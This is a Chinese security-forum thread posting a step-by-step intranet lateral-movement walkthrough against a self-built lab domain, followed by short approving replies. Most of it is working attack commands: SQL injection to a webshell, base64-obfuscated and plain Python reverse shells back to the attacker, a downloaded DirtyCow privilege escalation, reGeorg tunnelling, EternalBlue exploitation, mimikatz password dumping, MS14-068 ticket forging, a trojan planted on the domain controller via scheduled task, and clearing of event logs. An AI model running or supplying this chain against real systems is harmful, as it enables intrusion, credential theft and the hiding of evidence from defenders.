# 内网横向渗透攻击流程【通过】

**URL:** <https://forum.90sec.com/t/topic/949>\
**Category:** 账号审核\
**Created:** [2020 年4 月 15 日 04:04 UTC](https://forum.90sec.com/t/topic/949 "2020-04-15T04:04:11Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

作者： ![Cooo](https://forum.90sec.com/user_avatar/forum.90sec.com/cooo/32/6262_2.png) [@Cooo](https://forum.90sec.com/u/Cooo)\
发布日期： [2020 年4 月 15 日 04:04 UTC](https://forum.90sec.com/t/topic/949/1 "2020-04-15T04:04:11Z")

</div>

# 拓扑环境

1. Kali Linux（攻击机）
2. Centos6.4（web服务器）
3. win7（域成员主机无法上网）
4. win2008R2（域控无法上网）

 ![image](https://forum.90sec.com/uploads/default/original/2X/2/23cfc60fd41b711e1d4b6e1fb8dc0bee1ad083ff.jpeg)

# 目的

通过Kali Linux拿到域控权限

# Web渗透

## 目录扫描

使用dirbuster工具扫描网站根目录  
设置kali默认字典文件` /usr/share/wordlists/dirbuster/directory­list­lowercase­2.3­small.txt`

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/9324e268f681516804c54d35355e13c908599738.jpeg)

扫描获得phpinfo.php

 ![image](https://forum.90sec.com/uploads/default/original/2X/1/19c3d8404be31d7e9e726549a7569004c8fa8ab4.jpeg)

得到网站绝对路径信息

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/5b6d54669c71b946dd368199943997972594113d.jpeg)

## SQL查询报错

通过测试发现存在sql整型注入报错情况，进一步获取webshell

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/ddd35e32e8ae0854a5fff912750e25606a239efa.jpeg)

## SQL注入

通过sqlmap测试发现存在sql注入

```
sqlmap ‐u "http://IP:8888/newsshow.php?cid=4&id=19*" ‐‐dbms MYSQL ‐v3

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/5dd9c9096f682ab53dff4cb820a799de7ca2caa4.jpeg)

## 获取webshell

这里有绝对路径的情况下，可直接写入webshell。这里使用sqlmap os­shell的功能

## sqlmap(os­shell)

```
#通过sqlmap获取命令执行会话
sqlmap ‐u "http://IP/newsshow.php?cid=4&id=19*" ‐‐dbms MYSQL ‐v3 ‐‐os‐ shell

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/3/312136d0d5d90c49befce97e15a3a6805b2433f5.jpeg)

## 直接写webshell(pass)

```
http://IP/newsshow.php?cid=4&id=19 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,0x3c3f706870206576616c28245f504f53545b2770617373275d29 3f3e,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 into outfile '/var/www/html/webshell.php'

```

## 反弹shell

为了更好做后续操作，进行反弹shell

## 获取目标系统信息

```
os‐shell> uname ‐a 
os‐shell> whereis python

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/f/ff7218db4dc5b27250d9f2ed46a85066dd7a2823.jpeg)

## 获取meterpreter会话

由于网站上为linux默认安装python，可直接生成python反弹脚本

```
#生成python反弹脚本
msfvenom ‐p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 ‐f raw
#msf监听反向连接会话
msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp set LHOST IP
set LPORT 4444
run
#msf监听快速启动
cat py_reverse_tcp.rc
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp set LHOST 192.168.0.17
set LPORT 4444

exploit
msfconsole ‐r py_reverse_tcp.rc
#在sqlmap os‐shell模式下执行python meterpreter反弹脚本
os‐shell> python ‐c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF‐8')} [sys.version_info[0]] ('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRy eToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm 5lY3QoKCYjMzk7SVAmIzM5Oyw0NDQ0KSkNCgkJYnJlYWsNCglleGNlcHQ6DQoJCXRpbWUu c2xlZXAoNSkNCmw9c3RydWN0LnVucGFjaygmIzM5OyZndDtJJiMzOTsscy5yZWN2KDQpKV swXQ0KZD1zLnJlY3YobCkNCndoaWxlIGxlbihkKSZsdDtsOg0KCWQrPXMucmVjdihsLWxl bihkKSkNCmV4ZWMoZCx7JiMzOTtzJiMzOTs6c30pDQo=')))"

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/b737a7984803a5747b0f9dc97468698a6fb5385e.jpeg)

## nc+python反弹

```
#kali监听会话
root@kali:~# nc ‐lvvp 6666
#在sqlmap os‐shell模式下执行python bash反弹脚本
os‐shell> python ‐c "import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((' IP',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.filen o(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');s.clos e();"

```

sqlmap执行:

 ![image](https://forum.90sec.com/uploads/default/original/2X/4/49e8799598334374732b4cca2ef959345f73f755.jpeg)

监听端口返回反弹shell结果:

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/d5813b48ddee0dc9db91d7c614148e882b420f39.jpeg)

# 提权

拿到shell后，尝试提升权限

## 查看当前内核版本

通过uname ­a获取当前系统内核版本

 ![image](https://forum.90sec.com/uploads/default/original/2X/1/1882f1f000a8a30329e0c9a63336ea93ab4fc647.png)

## 使用已知漏洞提权

根据可已知内核漏洞下载对应的提权程序(该处使用脏牛内核提权)

```
cd /tmp/
wget ‐‐no‐check‐certificate https://raw.githubusercontent.com/K3vinPlus/sundry/master/DirtyCow/dir ty.c
gcc ‐pthread dirty.c ‐o dirty ‐lcrypt
./dirty 123456

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/bb4c480ae150b60f82bac9f05c0d714fe56558b0.jpeg)

获得firefart用户，权限为root

```
su firefart

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/a612f1889d0792651f8ebf21072f485a5148bba3.jpeg)

切换用户为firefart后，将passwd恢复,避免root用户无法使用

```
mv /tmp/passwd.bak /etc/passwd

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/ac68d42efcd19c3fd2008870dc97b8f5d7f9c7cb.jpeg)

# 横向渗透

通过查看网卡信息后发现存在内网地址信息

 ![image](https://forum.90sec.com/uploads/default/original/2X/6/649113def86102922ca307f14c367b53e82e319a.jpeg)

## 内网代理

meterpreter自动路由(首选)

```
meterpreter > run autoroute ‐s 10.0.1.0/24
meterpreter > run autoroute ‐p

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/2/2a86b76f2fa7b07c10f24a1e144ff9466bfa6a09.jpeg)

## reGeorg+proxychains

由于web服务器第二张网卡无法上网，需进行内网代理

在web服务器的shell下，下载tunnel.nosocket.php文件，做代理流量

```
1、网络下载
wget ‐‐no‐check‐certificate https://raw.githubusercontent.com/K3vinPlus/reGeorg/master/tunnel.noso cket.php
mv tunnel.nosocket.php /var/www/html/
2、本地上传
upload /root/reGeorg/tunnel.nosocket.php /var/www/html

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/bf70efae74ee0dfec19badb1fdc069719b8be1dc.jpeg)

可正常访问tunnel.nosocket.php文件

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/5c8db3bb39fb5d189b061bc9d42dd8aa3314c6eb.png)

Kali上执行reGeorg代理脚本

```
python reGeorgSocksProxy.py ‐p 9999 ‐u http://IP:8888/tunnel.nosocket.php

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/c/c9784e754f69052f5bab293a9f0343f84e3b1a02.jpeg)

修改proxychains配置文件，在末行添加socks信息。

```
vim /etc/proxychains.conf socks5 127.0.0.1 9999

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/bf0df8924072548bf50ec0cdc9672ccd70c4ce5b.jpeg)

##msf自带代理设置

```
setg Proxies socks5:127.0.0.1:9999

```

# 内网资产扫描

## 端口扫描

使用msf自带端口扫描模块，探测出10.0.1.9和10.0.1.254都存在445、3389端口。

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.1.1/24
set PORTS 21,22,23,80,389,445,873,1433,1521,2049,2181,2375,3306,3389,4899,5432,5 631,5900,5938,5984,6379,8000,8080,7001,9080,9200,10051,11211,20880,270 17,50070
set THREADS 10
exploit

```

## 10.0.1.9 IP端口开放情况

 ![image](https://forum.90sec.com/uploads/default/original/2X/2/20205a75dd4270ffa496be014e24c2e54b3c74db.png)

## 10.0.1.254 IP端口开放情况

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/0bcb0095ee76fad1aa3d62f4e9ac9c68148b7445.jpeg)

## MS17­010漏洞主机扫描

通过代理方式，使用msf框架扫描内网网段中存在MS17­010漏洞主机

```
root@kali:~# proxychains msfconsole use auxiliary/scanner/smb/smb_ms17_010 set RHOST 10.0.1.0‐254
set threads 10
exploit

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/b76f43c0a9d9994f2b9be4151c0bc2534193620b.jpeg)

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/54f3e1c4850b1e2139d644d64458bfc4c77ef1c8.png)

 ![image](https://forum.90sec.com/uploads/default/original/2X/6/6ce96969708155ebdf3b907f0629822be81962c2.jpeg)

## MS17­010漏洞利用

通过meterpreter路由方式，background之后使用ms17­010攻击模块进行攻击

```
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set RHOSTS 10.0.1.9
run

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/e/efbda406ed802dcbf448caedaaf5b46a570b2728.png)

# 域渗透

## 信息收集

### 查看当前主机信息

```
meterpreter > sysinfo

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/f/f5222941afe602a38d485b071cad9a33e9407e3d.jpeg)

### 获取当前域

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/0215173000dd840ac7b6cdbb672acb2b49c23a4c.jpeg)

### 使用mimikatz获取密码

加载mimikatz模块

```
meterpreter > load mimikatz
#读取内存中存放的账号密码明文信息 
meterpreter > wdigest

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/08dd4bc0b88f45329234d4412dbbbbd528b813df.jpeg)

### 获取域账号SID

```
meterpreter > run post/windows/gather/enum_logged_on_users

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/5af421532e021d01e6bb4fdfe37e93d9d97cf910.jpeg)

### 域控定位

```
net group "domain controllers" /domain ping dc1.kevin.com

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/d9a8040ba4786eb442084ee9926af4450ebd8fc2.jpeg)

 ![image](https://forum.90sec.com/uploads/default/original/2X/c/c96e5d921dbd3f61e19d4023aa21150a8c4d1e14.jpeg)

## MS14­068

### python脚本生成票据

```
proxychains python ms14‐068.py ‐u liujiafeng@kevin.com ‐s S‐1‐5‐21‐ 4289546598‐4075965387‐827630551‐1111 ‐d 10.0.1.254 ‐p kevin@123

```

### msf模块生成票据

```
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum set DOMAIN KEVIN.com
set USER liujiafeng
set PASSWORD kevin@123
set USER_SID S‐1‐5‐21‐4289546598‐4075965387‐827630551‐1111
set RHOST 10.0.1.254

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/2/27c2b7c6a78d6e750924da1e97d98fb1c990b0bd.jpeg)

### 本地生成kirbi文件

```
#kali切换目录到loot下将ms14‐068 bin票据复制到物理机 /root/.msf4/loot/
#物理机通过mimikatz转为kirbi文件
mimikatz # kerberos::clist 20191223050146_default_10.0.1.254_windows.kerberos_122860.bin /export

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/d5dddfb7c3fd16879a08bdfb43ed32c1f96c9ec4.png)

### kirbi转为ccache

```
#再将kirbi文件放到kali ticket_converter转换脚本目录下 #将kirbi文件转为ccache
python ticket_converter.py 0‐00000000‐liujiafeng@krbtgt‐KEVIN.COM.kirbi TGT_liujiafeng@kevin.com.ccache 
mv TGT_liujiafeng@kevin.com.ccache /root/pykek/

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/5ce0049faabb5ce195403574c3684b1c9cf0bcc3.jpeg)

### 生成正向连接的msf test.exe木马

生成msf监听端口程序

```
msfvenom ‐p windows/x64/meterpreter/bind_tcp LHOST=10.0.1.254 LPORT=4444 ‐f exe ‐o /root/pykek/test.exe

```

新建一个msf会话监听正向连接payload

```
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp 
set RHOST 10.0.1.254

```

### 上传利用工具

上传利用工具、ms14­086黄金票据到win7跳板机上

```
upload /root/pykek/TGT_liujiafeng@kevin.com.ccache C:/users/kevin upload /usr/share/windows‐resources/mimikatz/x64/mimikatz.exe C:/Users/kevin
upload /root/pykek/test.exe c:/users/kevin
shell

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/5d9413fd5f87bb8b402e5b8df38d3c0f164aa446.jpeg)

### 票据导入

在win7跳板机上执行

```
#清空票据 klist purge
#导入票据
cd c:/users/kevin
mimikatz.exe
kerberos::ptc TGT_liujiafeng@kevin.com.ccache

```

### 复制木马到域控

再通过win7跳板机复制test.exe到域控c盘，并通过at命令添加定时任务执行test.exe

```
copy test.exe \\dc1.kevin.com\c$ dir \\dc1.kevin.com\c$

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/e/e878bd07e2a3c8bad3ef9f65b7a797905b9b670b.jpeg)

### 在域控上添加at定时任务执行木马

```
net time \\dc1.kevin.com
at \\dc1.kevin.com 15:42:00 c:\test.exe

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/56eb2b9c643c1c510763744ad9775a38b6a1bf28.jpeg)

查看当前域控at定时任务

```
at \\dc1.kevin.com

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/7/7ab8f3a93b6f766e486894737a1c1ad89cb22e2e.jpeg)

在域控at定时任务执行后，连接域控4444端口

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/ac2688c5129cacafb4c2591a0e4cebdba24865ae.jpeg)

```
netstat ‐ano |findstr "4444"

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/956fc3adbc2a454fcb9fa249fe7f0171e9712b03.png)

### 所有获得的meterpreter会话

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/99308b1b4e478d034541ccc6a4cfa0f24cab7e17.jpeg)

### 清除痕迹

结束msf木马进程，删除exe进程

```
at \\dc1.kevin.com 16:23:00 cmd /c del c:\test.exe

```

删除win7工具

```
cd c:/users/kevin
rm TGT_liujiafeng@kevin.com.ccache
rm mimikatz.exe

```

windows删除系统日志

```
clearev

```

_Poll ([view on site](https://forum.90sec.com/t/topic/949/1))_

---

<div class="post-metadata">

作者： ![kriss](https://forum.90sec.com/user_avatar/forum.90sec.com/kriss/32/8019_2.png) [@kriss](https://forum.90sec.com/u/kriss)\
发布日期： [2020 年4 月 17 日 00:37 UTC](https://forum.90sec.com/t/topic/949/2 "2020-04-17T00:37:35Z")

</div>

屌的一比！！！！很适合刚在学习内网渗透的挖坑少年

---

<div class="post-metadata">

作者： ![Cooo](https://forum.90sec.com/user_avatar/forum.90sec.com/cooo/32/6262_2.png) [@Cooo](https://forum.90sec.com/u/Cooo)\
发布日期： [2020 年4 月 19 日 18:51 UTC](https://forum.90sec.com/t/topic/949/3 "2020-04-19T18:51:04Z")

</div>

哈哈，希望能帮到挖坑少年们 ~

---

<div class="post-metadata">

作者： ![258467289](https://forum.90sec.com/letter_avatar_proxy/v4/letter/2/958977/32.png) [@258467289](https://forum.90sec.com/u/258467289)\
发布日期： [2020 年4 月 20 日 06:20 UTC](https://forum.90sec.com/t/topic/949/4 "2020-04-20T06:20:59Z")

</div>

老哥这篇文章对于准备学习内网的我来说真是太清晰了，赞。

---

<div class="post-metadata">

作者： ![gouzi](https://forum.90sec.com/letter_avatar_proxy/v4/letter/g/e480ec/32.png) [@gouzi](https://forum.90sec.com/u/gouzi)\
发布日期： [2020 年4 月 26 日 07:40 UTC](https://forum.90sec.com/t/topic/949/5 "2020-04-26T07:40:36Z")

</div>

相当清晰啊。不过楼主方便分享下这是哪个靶机环境还是自己搭建的呀？

---

<div class="post-metadata">

作者： ![Cooo](https://forum.90sec.com/user_avatar/forum.90sec.com/cooo/32/6262_2.png) [@Cooo](https://forum.90sec.com/u/Cooo)\
发布日期： [2020 年4 月 27 日 08:28 UTC](https://forum.90sec.com/t/topic/949/6 "2020-04-27T08:28:12Z")

</div>

环境是自己搭建的 ~